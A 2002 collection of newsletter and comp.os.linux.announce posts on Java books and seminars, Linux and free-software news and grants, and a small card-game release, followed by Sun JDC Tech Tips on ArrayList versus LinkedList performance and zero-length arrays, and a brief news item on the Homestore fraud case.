to volunteer to come up (Crested Butte is gorgeous in late Summer/early Fall, with excellent hiking and mountain biking), stay in the condo, and help work on the 3rd edition of Thinking in Java, please email Sharlynn@Mindview.net with your resume and availability dates (note that the book is due at the end of October). There will be a technical and writing test, and interviews to reveal how well you self-motivate and work with others. This should be a great learning experience and a fun time. =================================== * Thinking in Java, 3rd edition, Revision 2 Imminent The second revision will be up on the site soon, at: http://64.78.49.204/ The biggest change is that I've rewritten significant part of the multithreading chapter (although it still has a ways to go). The goal is to rewrite the chapter to introduce the essence of threading with simplicity, and without GUI examples (this simplifies things, and allows threads to appear before GUIs). The chapters have also been reorganized into something like their final form, although the final chapter numbering hasn't been done yet. We have made more progress in the testing system. Other details of the changes made in the new version will be at the beginning of the book. The book is due at the end of October. The print version will appear in December. =================================== * Thinking in C++, Volume 2, Revision 9 Available tomorrow Available at: http://64.78.49.204/ Chapters 1-4 are finished =================================== * Thinking in Java Hands-on Seminar November 4th-8th in San Francisco - Emeryville, CA. Registration opens on September 4th. http://www.mindview.net/Seminars/ThinkingInJava/ Created by Bruce Eckel, taught by Andrea Provaglio. We believe this is the best in-depth introduction to Java that you'll find. It's based on the book ""Thinking in Java,"" which was created as the seminar evolved. Please note the early registration discount: * $1,600 for payments received by October 12th * $1,950 for payments received after October 12th =================================== * Java2 Enterprise Programming Seminar November 18th-22th in San Francisco - Emeryville, CA. Registration opens on September 4th. http://www.mindview.net/Seminars/J2EE/ Created and taught by Andrea Provaglio, this seminar introduces you to the practical development of real-world, Web-enabled, distributed applications with Java. It covers J2EE and its key technologies: Enterprise JavaBeans, Servlets, Java ServerPages, and the basic architectural patterns used to combine these technologies into maintainable applications. Andrea has been teaching this course in the US and in Europe for the last two years, and he has recently restructured and updated the seminar to include the latest J2EE features. You'll come out of this course with a comprehensive understanding of the J2EE architecture, of the problems that it is designed to solve, how to select the most appropriate tools, and how to code your solutions. Please note the early registration discount: * $1,700 for payments received by October 26th * $2,300 for payments received after October 26th =================================== * New seminars Bill Venners and I just finished giving the last ""Objects & Patterns"" seminar, and everyone (especially us) had a great time. We are now beginning to work towards the two new seminars spawned by Objects & Patterns, which Bill and I plan to teach together: Design Patterns in Java (Drawing primarily from ""Thinking in Patterns"") Designing Objects & Systems This will include a lot of material from Bill's upcoming book on Object Design, along with coverage of UML, XP, Object-Oriented Design techniques and guidelines, and of course exercises and projects. We hope to begin teaching the courses early next year. Stay tuned. =================================== * Limited Number of Signed Copies of TIJ2 for sale I'm selling the last 17 of my author copies of Thinking in Java, 2nd edition. I've signed each one and drawn a little cartoon with the signature (the books are in La Mesa, and I'm in Crested Butte, so unfortunately I can't personalize them). The cost in the USA is $40, which includes handling and mailing. Outside the USA, you'll have to email to the address below to find out the additional shipping cost. To order, divide your credit card number (Visa, MC, Amex) into two different emails (not high security, but highly likely to be safe), and include your credit card billing address and expiration date. Email your order to: Wayne@MindView.net Wayne will email you back to clarify any necessary details. ___| Until Next Time... |________________________ Computer nerd humor http://www.valleyofthegeeks.com/ Java programming questions: http://www.mindview.net/Books/TIJ/JavaQuestions.html Speaking & Seminar schedule: http://www.mindview.net/Calendar/ Anyone can sign up for this free newsletter by visiting: http://www.mindview.net/mailman/listinfo/eckel-oo-programming Bruce Eckel http://www.mindview.net --- You are currently subscribed to eckel-oo-programming as: linux-announce@sws1.ctd.ornl.gov To unsubscribe send a blank email to leave-eckel-oo-programming-6394293J@earth.lyris.net ########################################################################## # Send submissions for comp.os.linux.announce to: cola@stump.algebra.com # # PLEASE remember a short description of the software and the LOCATION. # # This group is archived at http://stump.algebra.com/~cola/ # ########################################################################## ------------------------------ From: Frederick Noronha Subject: The Linux Counter... Date: 8 Sep 2002 01:25:32 GMT Please sign-up at the Linux Counter: Please visit it and sign up (if you haven't already) at http://counter.li.org/ Why? * It's a small way of saying 'thank you' to an excellent OS and acknowledging you find it useful... * Letting everyone out there know where all GNU/Linux is being used * Building a useful database of GNU/Linux in your locality (Goa) * Finding out where all other people in Goa are using GNU/Linux. * Just seeing how this volunteer driven model builds itself by innovative styles of organising.... FN ########################################################################## # Send submissions for comp.os.linux.announce to: cola@stump.algebra.com # # PLEASE remember a short description of the software and the LOCATION. # # This group is archived at http://stump.algebra.com/~cola/ # ########################################################################## ------------------------------ From: Linux Gazette Subject: Linux Gazette #82 (September 2002) available Date: 8 Sep 2002 01:25:35 GMT Reply-To: gazette@ssc.com ""Linux Gazette...Making Linux just a little more fun!"" Linux Gazette is a freely available, WWW e-zine that includes short articles giving tips and tricks, ideas and suggestions for customizing and running Linux. It is a member of the Linux Documentation Project. Linux Gazette issue #82, September 2002, is out and can be found at: http://www.linuxgazette.com/ For download purposes, individual issues of LG are available at: ftp://ftp.ssc.com/pub/lg/ A list of mirror sites can be found at: http://www.linuxgazette.com/mirrors.html While we do not mail issues of LG to our readers--it's just too big--we do have an announcement service. Write lg-announce-request@ssc.com with the word subscribe in the body, and each month you will receive an e-mail notice when we post Linux Gazette. Topics in this issue include: * The MailBag * More 2-Cent Tips * The Answer Gang * News Bytes * Ecol , by Javier Malonda at escomposlinux.org * Qubism , by Jon ""Sir Flakey"" Harsem * Writing your own Toy OS - Part III , by Raghu and Chitkala * Kerberos: The watchdog of the Ether , by Raj Shekhar * My Guide To Digital Photography , by Rob Tougher * Adaptive Linux Firewalls , by Vasoo Veerapen * Multihead Systems under Linux and Windows , by Alan Ward * The Back Page Read all about it in Linux Gazette. Michael Orr Editor, Linux Gazette ########################################################################## # Send submissions for comp.os.linux.announce to: cola@stump.algebra.com # # PLEASE remember a short description of the software and the LOCATION. # # This group is archived at http://stump.algebra.com/~cola/ # ########################################################################## ------------------------------ From: Bernard yap Subject: bigtwo: coffee.marilith.1 released Date: 8 Sep 2002 01:25:38 GMT Greetings to all, 'bigtwo' is an cross-platform (tho' it's meant to run on linux) object oriented game engine for the card game of ""cho dai di"" with integrated artificial intelligence to simplify the job of developing game servers/clients for the card game. - Release [coffee.marilith.1] - This is an alpha release of the game engine (codenamed 'coffee') intended for engine/AI testing. A simulation test of AI playing against each other and a simple text-based single player client are included in the release for that purpose. - ChangeLog - o some minor AI tweaks o added game engine version information o fixed bug in game initialization o fixed bugs that blocked the straights 23456 & A2345 - Work in progress - o further fixes/improvements on the game engine/AI o a cross-platform GUI/graphical client. - SF Project Page - http://sourceforge.net/projects/bigtwo/ - Download - https://sourceforge.net/project/showfiles.php?group_id=22941 regards, -- const char *me[] = { ""Bernard"", ""http://www.codenetic.net/"" }; pain, n.: One thing, at least it proves that you're alive! ########################################################################## # Send submissions for comp.os.linux.announce to: cola@stump.algebra.com # # PLEASE remember a short description of the software and the LOCATION. # # This group is archived at http://stump.algebra.com/~cola/ # ########################################################################## ------------------------------ From: Frederick Noronha Subject: NEWS: GNU/DEVELOPMENT... intl orgns take a close look at GNU/Linux Date: 8 Sep 2002 01:25:42 GMT GNU/DEVELOPMENT, INTERNATIONAL ORGANISATION TAKE A CLOSE LOOK AT GNU/LINUX >From Frederick Noronha INDIA: There's good news round the corner -- international organisations and prominent networks worldwide are waking up to the rich potential of Free/Open Source Software, a field that is slowly being recognised for the immense promise it holds out to the Third World. But can this be tapped speedily enough and effectively? >From the Unesco to the World Bank, and other global organisations, all are catching up on the potential of using GNU/Linux as a potent tool in working towards development. More so in countries where the cost of a proprietorial office suite could eat up six months or more of the average citizen's earnings. United Nation's Development Programme's Ms. Radhika Lal , a Information-Communication Technology Policy Advisor, recently drew attention to a conference on Open Source for E-Government. It is to be held in Washington, DC on October 17-18. infoDev, the Cyberspace Policy Institute of The George Washington University, and the UNDP are jointly behind this event. It is intended to draw participants from local, national and international organizations from both the public and private sector. This meet intends to present cases of 'best practices', raise awareness about the potential of open source and free software for e-governance. More importantly, it will be sharing experiences among policy makers, donors, users and consumers, universities, and industry specialists in Open Source, e-Government and related fields. Ms Lal works at the ICT-for-Development's Special Initiative Bureau for Development Policy at the UNDP's East 45th Street offices in New York. ICT-for-development is a campaign to use more of infotech and the Internet for global development and fighting problems like poverty and illiteracy. But despite quite a few shared goals and concerns with the GNU/Linux world, so far little networking has been done between these two separate circles. See http://www.egovos.org/ OTHER ARMS OF THE U.N. ====================== Besides, the UNDP, other arms of the United Nations are also known to be showing increasing interest in the potential of free software/open source tools. Paris-headquartered Unesco (United Nations Education, Scientific and Cultural Organisation) recently launched its own Free Software portal. It's at http://www.unesco.org/webworld/portal_freesoft. UNESCO's Jean-Claude Dauphin of the Information Society Division also announced that this international organisation has been looking out for contributors with a good knowledge of the Free Software movement in relation with UNESCO fields of competence -- education, science and culture. It zeroed in particularly on those coming from the Third World (also called the 'South' countries) who could could make propositions for ""revising, updating and extending the UNESCO Free Software Portal"" as well as for including new basic documents. ""This work could be done using a fee or consultant contract and the fee can be discussed depending on the amount of work described in the contract,"" said Dauphin. Check out the sites at UNESCO Libraries Portal (http://www.unesco.org/webworld/portal_bib/) UNESCO Archives Portal (http://www.unesco.org/webworld/portal_archives/) UNESCO Free Software Portal (http://www.unesco.org/webworld/portal_freesoft/) UNESCO Observatory on the Information Society (http://www.unesco.org/webworld/observatory/) NEW TOOLS FOR CDS/ISIS ====================== Recently, Unesco also announced the launch of new tools for data exchange from and to its CDS/ISIS software. These two new tools -- ImpExp2709 and IsisAscii v 0.92 -- have recently been released for data exchange from and to UNESCO's software package CDS/ISIS. CDS/ISIS is a generalized information storage and retrieval system that is freely distributed, and has attracted users in places like libraries within the Third World. The new utilities have been released with their source code (GPL license). See http://www.unesco.org/webworld/news/2002/020806_isis.shtml Meanwhile, UNDP's APDIP (Asia-Pacific Development Information Programme) based in Kuala Lumpur, Malaysia, is also learnt to be thinking seriously about organizing some kind of a consultation on open source, GNU/Linux and related issues. ""We want to see how we can further this cause in the region,"" APDIP's Shahid Akhtar told this correspondent. Niranjan Rajani , of Pakistani origin but based in the birthplace of Linux, Finland, is now working on a research project on ""Significance of Free/OpenSource Software for Developing Countries"". This project is financed by the Finnish Foreign Ministry, and he has undertaken to write the paper by the end of November this year, for Maailma.Net, a local division of OneWorld.Net. This project's goal is to find out, evaluate and analyze the extent of use of FS/OSS, especially some of its most significant and popular projects; GNU/Linux, Apache, Mozilla, OpenOffice etc. in the developing or Third World countries. It will also look at its possible impact on economies, societies and lives of these countries. CONVINCING GOVERNMENTS ====================== In India, organisations like Red Hat have been putting out slick presentations to convince governments and officials to try out Open Source. Shift over boldly to the world of 'open source' and 'free' software. That's the message that governments across India were recently with, as official computerisation efforts get bogged down due to spiraling software costs and speedy software-fuelled hardware obsolence. Senior IT and e-governance officials from across the country tuned in attentively during a recent seminar in Goa, as executives from computing giant IBM and leading Linux systems supplier Red Hat India narrated long lists of benefits that governments could get from going the Linux way. Pointing to examples from across the globe, Red Hat India argued that the US Department of Energy has built supercomputers on GNU/Linux, the Chinese are making Linux the official server operating system -- to be widely used in varsities, military installations and within government. Some months back, an organisation under India's Ministry of Information Technology -- called the ER&DCI (Electronics Research and Development Centre of India) -- entered into a strategic alliance with leading Linux systems supplier Red Hat India to popularize the 'open source' solution in the government sector. On networks like the EDC/World Bank-support GKD (Global Knowledge for Development), issues of free software and open source often make it to the news. GNU/Linux is a suitable tool in organising too, as it was recently pointed out. (See http://www.lincproject.org) ""The Low Income Networking and Communication (LINC) Project of the Welfare Law Center has helped many low-income led organizing groups acquire access to the Internet and use technology more effectively,"" says Dirk Slater . While these groups have increased their abilities to communicate with one another and their allies by using the Internet, one communication hurdle remains -- communicating with their leadership via the Internet. Despite many ""digital divide"" initiatives addressing access to the Internet in low-income communities, access is still an issue. Public Internet access points, such as libraries and schools, are not sufficient, as Slater has pointed out. Many low-income leaders do not have access to the Internet where it would make the most impact -- in their homes. LINC argues that the need for Internet communication is particularly great for rural groups whose members live far apart and cannot have frequent face-to-face meetings because of distance, time and money constraints. ""We began to explore the idea of using Linux, a free operating system that works well on older computers, when we learned of Microsoft's decision to discontinue support of its older operating systems like Windows 95< according to Slater, who is 'senior circuit rider' for the Low-Income Networking and Communications (LINC) Project at the Welfare Law Center. LINC protagonists say they had also been ""troubled"" by the frequent problems that occur for Windows users just by having Windows run on its own. ""Giving a person who lives in a rural area an older computer with Windows seemed like we were just asking for trouble. We also attempted to identify similar projects but had limited success,"" says Slater. LINC wanted to increase its ability to provide stable desktop systems using donated computers for board members and leaders of low-income led organizations that LINC serves. ""Our goal is to increase the ability of LINC Project partner groups to use open-source software to support their organizing work. We also wanted to document the project as much as we possibly could, so we could provide details of our experiences for others doing similar projects,"" LINC explains. LINC identified a partner in Grass Roots Organizing in Mexico, MO, and installed GNU/Linux on 10 computers used as stand-alone workstations in people's homes. GNU/Linux was also installed on a brand new stand-alone computer to work as the main computer in the GRO office. Links were built with the Mizzou Linux Users Group for ongoing local support. ""We still have a long way to go before we can call this a completely successful project. After a period of a few months we will assess whether the board members are actually using the computers to communicate more effectively,"" said Slater. To view the daily journals on the project with GRO please visit the LINC Project Linux pages at NEED TO NETWORK =============== Bala Pillai , who was earlier based in Malaysia and now in Sydney-Australia, is founder of Tamil Innaiyam (http://www.tamil.net), an organisation to promote the Tamil language worldwide. He points to the impact GNU/Linux is making in some distant areas of the Third World. Says Pillai: ""The most interactive open source/Linux community in our time zone/Asia springs out of the Philippines. Primarily because the Filipino psyche is a more secure psyche, a more self-confident psyche. ""Folks who are self-confident worry about the future less, and allocate more time diagnosing and solving problems rather than echoing and re-echoing it. Filipinos are also more into sharing and online sharing -- we should look to more symbiosis with them,"" says he. Pillai also notes that the Manila-based Miguel Paraz, whom he interacted with since 1996, is a key catalyst in the Filipino Linux community. ""http://www.q-linux.com is a good starting point to get a feel for the key Open Source catalysts in the Philippines,"" says he. Kuala Lumpur, Malaysia-based Dinesh who runs http://www.alphaque.com is another lead Open Source catalyst from the region, explains Pillai. ""Do look for symbiosis opportunities there too,"" he suggests. ""I see lots of room for us to symbiosis together. For example, there is likely to be areas where we diagnosing, documenting, analyzing, coding or publicizing where there is over-duplication. If we coordinated ourselves and found out where our circles and priorities intersect , we could share this work and get fruits out faster,"" he adds. -- Frederick Noronha * Freelance Journalist * Goa * India 832.409490 / 409783 BYTESFORALL www.bytesforall.org * GNU-LINUX http://linuxinindia.pitas.com Email fred@bytesforall.org * Mobile +9822 122436 (Goa) * Saligao Goa India Writing with a difference... on what makes *the* difference ########################################################################## # Send submissions for comp.os.linux.announce to: cola@stump.algebra.com # # PLEASE remember a short description of the software and the LOCATION. # # This group is archived at http://stump.algebra.com/~cola/ # ########################################################################## ------------------------------ From: Frederick Noronha Subject: Attn programmers: support offered [FLOSS-Sarai Initiative] Date: 8 Sep 2002 01:25:45 GMT Dear friends, Can we manage to get some money into backing Free/Libre Open Source Software initiatives, that would help young volunteers out there to support their cash-strapped initiatives? Sarai.net, a Delhi-based initiative under the CSDS (Centre for the Study of Developing Societies) has been solidly supportive of such an idea. Jeebesh Bagchi sent in this offer recently. It could surely be of help particularly to college students and others wanting to make a break in Free Software/Open Source, but hamstrung by resources. It might help if projects are initially kept small and definitely workable, I guess. This is my own gut-level feeling, but maybe bigger initiatives which are clearly workable could also prove convincing. If such experiments prove useful, maybe there would be a good case for greater support to free software/open source developers in regions like ours. --FN ========== Forwarded message ========== The Sarai Programme, Centre for the Study of Developing Societies, Delhi (www.sarai.net) invites applications for Support Grants to projects in the area of Free Software, Open Source Software and Social Usage of Software Sarai invites programmers (practictioners as well as students) to propose projects in the area of free and open source software applications relevant to educational, social and community needs. We are looking for original ideas, as well as proposals to localize and adapt existing software and applications to South Asian conditions, For example - Desktops in Hindi, Open Office and Gimp in Hindi. Lighter versions of desktops like KDE, Innovations that creatively optimises older lower configuration machines, Linux documentation in Hindi, games using local context, etc. What is Sarai Sarai is a public initiative of media practitioners and scholars looking at media cultures and urban life. Sarai's interests are in the field of old and new media, information and communication technologies, free software, cinema, and urban space - its politics, built form, ecology, culture and history, with a strong commitment to making knowledge available in the public domain. It is a programme of the Centre for the Study of Developing Societies, Delhi. For more information visit www.sarai.net. Sarai is committed to promoting the free software and open source vision. Conditions: Applicants should be resident in India, and should have a bank account in any bank operating in India. These are support grants and grantees will be free to pursue their primary occupations, if any. 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Here you'll get tips on using core Java technologies and APIs, such as those in Java 2 Platform, Standard Edition (J2SETM). ![](http://developer.java.sun.com/images/anchor.gif)Using ArrayList and LinkedList ![](http://developer.java.sun.com/images/anchor.gif)Using Zero-Length Arrays These tips were developed using Java 2 SDK, Standard Edition, v 1.4. This issue of the JDC Tech Tips is written by Glen McCluskey. ![Pixel](http://developer.java.sun.com/images/pixel.gif) --- ### USING ARRAYLIST AND LINKEDLIST `ArrayList` and `LinkedList` are two `Collections` classes used for storing lists of object references. For example, you could have an `ArrayList` of Strings, or a `LinkedList` of Integers. This tip compares the performance of `ArrayList` and `LinkedList`, and offers some suggestions about which of these classes is the right choice in a given situation. The first key point is that an `ArrayList` is backed by a primitive `Object` array. Because of that, an `ArrayList` is much faster than a `LinkedList` for random access, that is, when accessing arbitrary list elements using the `get` method. Note that the `get` method is implemented for `LinkedLists`, but it requires a sequential scan from the front or back of the list. This scan is very slow. For a `LinkedList`, there's no fast way to access the Nth element of the list. Consider the following example. Suppose you have a large list of sorted elements, either an `ArrayList` or a `LinkedList`. Suppose too that you do a binary search on the list. The standard binary search algorithm starts by checking the search key against the value in the middle of the list. If the middle value is too high, then the upper half of the list is eliminated. However, if the middle value is too low, then the lower half of the list is ignored. This process continues until the key is found in the list, or until the lower bound of the search becomes greater than the upper bound. Here's a program that does a binary search on all the elements in an `ArrayList` or a `LinkedList`: import java.util.*; public class ListDemo1 { static final int N = 10000; static List values; // make List of increasing Integer values static { Integer vals[] = new Integer[N]; Random rn = new Random(); for (int i = 0, currval = 0; i < N; i++) { vals[i] = new Integer(currval); currval += rn.nextInt(100) + 1; } values = Arrays.asList(vals); } // iterate across a list and look up every // value in the list using binary search static long timeList(List lst) { long start = System.currentTimeMillis(); for (int i = 0; i < N; i++) { // look up a value in the list // using binary search int indx = Collections.binarySearch( lst, values.get(i)); // sanity check for result // of binary search if (indx != i) { System.out.println( ""*** error ***\n""); } } return System.currentTimeMillis() - start; } public static void main(String args[]) { // do lookups in an ArrayList System.out.println(""time for ArrayList = "" + timeList(new ArrayList(values))); // do lookups in a LinkedList System.out.println( ""time for LinkedList = "" + timeList(new LinkedList(values))); } } The `ListDemo1` program sets up a `List` of sorted Integer values. It then adds the values to an `ArrayList` or a `LinkedList`. Then `Collections.binarySearch` is used to search for each value in the list. When you run this program, you should see a result that looks something like this: time for ArrayList = 31 time for LinkedList = 4640 `ArrayList` is about 150 times faster than `LinkedList`. (Your results might differ depending on your machine characteristics, but you should see a distinct difference in the result for `ArrayList` as compared to that for `LinkedList`. The same is true for the other programs in this tip.) Clearly, `LinkedList` is a bad choice in this situation. The binary search algorithm inherently uses random access, and `LinkedList` does not support fast random access. The time to do a random access in a `LinkedList` is proportional to the size of the list. By comparison, random access in an `ArrayList` has a fixed time. You can use the `RandomAccess` marker interface to check whether a List supports fast random access: void f(List lst) { if (lst instanceof RandomAccess) { // supports fast random access } } `ArrayList` implements the `RandomAccess` interface, and `LinkedList`. does not. Note that `Collections.binarySearch` does take advantage of the `RandomAccess` property, to optimize searches. Do these results prove that `ArrayList` is always a better choice? Not necessarily. There are many cases where `LinkedList` does better. Also note that there are many situations where an algorithm can be implemented efficiently for `LinkedList`. An example is reversing a `LinkedList` using `Collections.reverse`. The internal algorithm does this, and gets reasonable performance, by using forward and backward iterators. Let's look at another example. Suppose you have a list of elements, and you do a lot of element inserting and deleting to the list. In this case, `LinkedList` is the better choice. To demonstrate that, consider the following ""worst case"" scenario. In this demo, a program repeatedly inserts elements at the beginning of a list. The code looks like this: import java.util.*; public class ListDemo2 { static final int N = 50000; // time how long it takes to add // N objects to a list static long timeList(List lst) { long start = System.currentTimeMillis(); Object obj = new Object(); for (int i = 0; i < N; i++) { lst.add(0, obj); } return System.currentTimeMillis() - start; } public static void main(String args[]) { // do timing for ArrayList System.out.println( ""time for ArrayList = "" + timeList(new ArrayList())); // do timing for LinkedList System.out.println( ""time for LinkedList = "" + timeList(new LinkedList())); } } When you run this program, the result should look something like this: time for ArrayList = 4859 time for LinkedList = 125 These results are pretty much the reverse of the previous example. When an element is added to the beginning of an `ArrayList`, all of the existing elements must be pushed back, which means a lot of expensive data movement and copying. By contrast, adding an element to the beginning of a `LinkedList` simply means allocating an internal record for the element and then adjusting a couple of links. Adding to the beginning of a `LinkedList` has fixed cost, but adding to the beginning of an `ArrayList` has a cost that's proportional to the list size. So far, this tip has looked at speed issues, but what about space? Let's look at some internal details of how `ArrayList` and `LinkedList` are implemented in Java 2 SDK, Standard Edition v 1.4. These details are not part of the external specification of these classes, but are illustrative of how such classes work internally. The `LinkedList` class has a private internal class defined like this: private static class Entry { Object element; Entry next; Entry previous; } Each `Entry` object references a list element, along with the next and previous elements in the `LinkedList` \-- in other words, a doubly-linked list. A `LinkedList` of 1000 elements will have 1000 `Entry` objects linked together, referencing the actual list elements. There is significant space overhead in a `LinkedList` structure, given all these `Entry` objects. An `ArrayList` has a backing `Object` array to store the elements. This array starts with a capacity of 10. When the array needs to grow, the new capacity is computed as: newCapacity = (oldCapacity * 3) / 2 + 1; Notice that the array capacity grows each time by about 50%. This means that if you have an `ArrayList` with a large number of elements, there will be a significant amount of space wasted at the end. This waste is intrinsic to the way `ArrayList` works. If there was no spare capacity, the array would have to be reallocated for each new element, and performance would suffer dramatically. Changing the growth strategy to be more aggressive (such as doubling the size at each reallocation) would result in slightly better performance, but it would waste more space. If you know how many elements will be in an `ArrayList`, you can specify the capacity to the constructor. You can also call the `trimToSize` method after the fact to reallocate the internal array. This gets rid of the wasted space. So far, this discussion has assumed that either an `ArrayList` or a `LinkedList` is ""right"" for a given application. But sometimes, other choices make more sense. For example, consider the very common situation where you have a list of key/value pairs, and you would like to retrieve a value for a given key. You could store the pairs in an N x 2 `Object` array. To find the right pair, you could do a sequential search on the key values. This approach works, and is a useful choice for very small lists (say 10 elements or less), but it doesn't scale to big lists. Another approach is to sort the key/value pairs by ascending key value, store the result in a pair of `ArrayLists`, and then do a binary search on the keys list. This approach also works, and is very fast. Yet another approach is to not use a list structure at all, but instead use a map structure (hash table), in the form of a `HashMap`. Which is faster, a binary search on an `ArrayList`, or a `HashMap`? Here's a final example that compares these two: import java.util.*; public class ListDemo3 { static final int N = 500000; // Lists of keys and values static List keys; static List values; // fill the keys list with ascending order key // values and fill the values list with // corresponding values (-key) static { Integer keyvec[] = new Integer[N]; Integer valuevec[] = new Integer[N]; Random rn = new Random(); for (int i = 0, currval = 0; i < N; i++) { keyvec[i] = new Integer(currval); valuevec[i] = new Integer(-currval); currval += rn.nextInt(100) + 1; } keys = Arrays.asList(keyvec); values = Arrays.asList(valuevec); } // fill a Map with key/value pairs static Map map = new HashMap(); static { for (int i = 0; i < N; i++) { map.put(keys.get(i), values.get(i)); } } // do binary search lookup of all keys static long timeList() { long start = System.currentTimeMillis(); for (int i = 0; i < N; i++) { int indx = Collections.binarySearch( keys, keys.get(i)); // sanity check of returned value // from binary search if (indx != i) { System.out.println( ""*** error ***\n""); } } return System.currentTimeMillis() - start; } // do Map lookup of all keys static long timeMap() { long start = System.currentTimeMillis(); for (int i = 0; i < N; i++) { Integer value = (Integer)map.get( keys.get(i)); // sanity check of value returned // from map lookup if (value != values.get(i)) { System.out.println( ""*** error ***\n""); } } return System.currentTimeMillis() - start; } public static void main(String args[]) { // do timing for List implementation System.out.println(""List time = "" + timeList()); // do timing for Map implementation System.out.println(""Map time = "" + timeMap()); } } The program sets up `Lists` of keys and values, and then uses two different techniques to map keys to values. One approach uses a binary search on a list, the other a hash table. When you run the `ListDemo3` program, you should get a result that looks something like this: ArrayList time = 1000 HashMap time = 281 In this example, N has a value of 500000. Approximately, log2(N) - 1 comparisons are required in an average successful binary search, so each binary search lookup in the `ArrayList` will take about 18 comparisons. By contrast, a properly implemented hash table typically requires only 1-3 comparisons. So you should expect the hash table to be faster in this case. However, binary search is still useful. For example, you might want to do a lookup in a sorted list and then find keys that are close in value to the key used for the lookup. Doing this is easy with binary search, but impossible in a hash table. Keys in a hash table are stored in apparent random order. Also, if you are concerned with worst-case performance, the binary search algorithm offers a much stronger performance guarantee than a hash table scheme. You might also consider using TreeMap for doing lookups in sorted collections of key/value pairs. Let's summarize the key points presented in this tip: * Appending elements to the end of a list has a fixed averaged cost for both `ArrayList` and `LinkedList.` For `ArrayList`, appending typically involves setting an internal array location to the element reference, but occasionally results in the array being reallocated. For `LinkedList`, the cost is uniform and involves allocating an internal `Entry` object. * Inserting or deleting elements in the middle of an `ArrayList` implies that the rest of the list must be moved. Inserting or deleting elements in the middle of a `LinkedList` has fixed cost. * A `LinkedList` does not support efficient random access * An `ArrayList` has space overhead in the form of reserve capacity at the end of the list. A `LinkedList` has significant space overhead per element. * Sometimes a `Map` structure is a better choice than a `List`. For more information about Using `ArrayList` and `LinkedLists`, see section 16.6, List, and section 16.7, Map and SortedMap, in ""The JavaTM Programming Language Third Edition"" by Arnold, Gosling, and Holmes. Also see the Collections trail in the Java Tutorial, Third Edition. back to top![Pixel](http://developer.java.sun.com/images/back_to_top.gif) --- ![Pixel](http://developer.java.sun.com/images/pixel.gif) ![Pixel](http://developer.java.sun.com/images/pixel.gif) ### USING ZERO-LENGTH ARRAYS Suppose that you are writing a Java application that involves some sort of data filtering. You have some raw data that you want to clean up and process in various ways. One of the methods you've written takes an array of integers, along with minimum and maximum values. The method goes through the array and eliminates ""outliers,"" that is, values that are too small or too big. The result of the filtering process is a new array of cleaned-up data. How could you implement this kind of filtering method? Here's one approach: import java.util.*; public class ZeroDemo1 { // filter input array and throw away values // that are less than minval or greater than // maxval static int[] filterData( int indata[], int minval, int maxval) { // check parameters for errors if (indata == null) { throw new NullPointerException( ""indata is null""); } if (maxval < minval) { throw new IllegalArgumentException( ""maxval < minval""); } // count number of valid values // in input array int validcnt = 0; for (int i = 0; i < indata.length; i++) { if (indata[i] >= minval && indata[i] <= maxval) { validcnt++; } } // if no valid values, return null if (validcnt == 0) { return null; } // copy valid values to new array // and return it int outdata[] = new int[validcnt]; for (int i = 0, j = 0; i < indata.length; i++) { if (indata[i] >= minval && indata[i] <= maxval) { outdata[j++] = indata[i]; } } return outdata; } public static void main(String args[]) { // set up test array of integers int indata[] = new int[]{1, 3, -17, 8, 59}; // filter out values not in the range 1-10 int outdata1[] = filterData(indata, 1, 10); for (int i = 0; i < outdata1.length; i++) { System.out.println(outdata1[i]); } // filter out values not // in the range 100-200 int outdata2[] = filterData( indata, 100, 200); for (int i = 0; i < outdata2.length; i++) { System.out.println(outdata2[i]); } } } The `filterData` method does two scans of the input array. The first scan counts the number of valid data values. Then the method allocates a new array of the appropriate size, and copies the good values to it. If there are no good values, the method returns a null value for the array reference. The result of running the `ZeroDemo1` program is: 1 3 8 Exception in thread ""main"" java.lang.NullPointerException at ZeroDemo1.main(ZeroDemo1.java:72) The problem with this program is a rather basic one. The second call of `filterData` returns a null value, and the program fails to take this possibility into account. A better approach in this example would be to comment out the block of code that tests for the possibility of no valid data values: /* if (validcnt == 0) { return null; } */ When there is no valid data, the code will fall through to the next line, where a zero-length array is allocated: int outdata[] = new int[0]; This is perfectly legal Java usage. The representation of Java arrays includes the length of the array, and it's therefore possible to tell if an array has zero length. For the `ZeroDemo1` example, if you anticipate that validcnt will often be zero, that is, data filtering will often eliminate all values from the input, then you could optimize away the second input scan by adding code like this: int outdata[] = new int[validcnt]; if (validcnt == 0) { return outdata; } Note that usage such as: int outdata[] = new int[]{}; is also legal, to initialize an array with a zero-length set of integer constants. In general, it's best not to return null from a method that returns an array type. Always returning an array, even if the array has zero length, greatly improves the generality of algorithms. If you anticipate that your methods will often return zero-length arrays, you might be concerned about the performance implications of allocating many such arrays. In this case, you can allocate a single array, and always return the same one, as follows: private static final int ZERO_LENGTH_ARRAY[] = new int[0]; This array is immutable (it can't be changed), and can be shared throughout your application. There's another way that zero-length arrays are used, as illustrated in the following example: import java.util.*; public class ZeroDemo2 { public static void main(String args[]) { // set up ArrayList and add strings to it List stringlist = new ArrayList(); stringlist.add(""string 1""); stringlist.add(""string 2""); stringlist.add(""string 3""); // convert to String array String out[] = ( String[])stringlist.toArray( new String[0]); for (int i = 0; i < out.length; i++) { System.out.println(out[i]); } } } The result of running the `ZeroDemo2` program is: string 1 string 2 string 3 The `ZeroDemo2` program sets up an `ArrayList`, and adds three strings to it. Then the program calls `toArray` to get a `String` array of the three elements in the `ArrayList`. In this example, the argument to `toArray` is ""new String[0]"". This argument serves a couple of purposes. First, if you have a `String` array that's big enough to hold the elements of the `ArrayList`, you can specify it as the argument to `toArray`. The method will use the `String` array. But if your array is not big enough, then the `toArray` method allocates an array to return the elements. It uses the type of the array that was passed in to determine the type of the allocated array. `ArrayList` stores its element references in an `Object` array. The `toArray` method needs to be told if there is some other type (such as String) to be used for returning the array of elements. The method uses reflection (`java.lang.reflect.Array.newInstance`) to create an array of the appropriate type. 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Three former executives from real estate dot-com Homestore have agreed to plead guilty to criminal charges and repay $4.6 million in stock gains. What's more interesting is that they'll cooperate with an investigation into AOL's role in the dubious dealing. This is the most real estate drama you'll get this week without renting ""Glengarry Glen Ross."" Homestore's former COO was charged with wire fraud and conspiracy to commit securities fraud (up to 10 years in jail), the former CFO with just the conspiracy charge (up to five years), and an ex-VP with insider trading (less time, but unknown). The big accusation here is ""round tripping,"" in which Homestore would buy goods from a company as long as the company then spent most of the money on AOL ads. Then AOL would supposedly spend the same amount of money at Homestore, ""thus allowing Homestore effectively to 'buy' revenue using its own cash,"" explained the Wall Street Journal. Homestore has become a cause celebre for Attorney General John Ashcroft, who held a press conference to emphasize that the Bush administration really means it about this corporate clean-up thing. Neither Ashcroft, the Justice Department, nor the SEC named names, 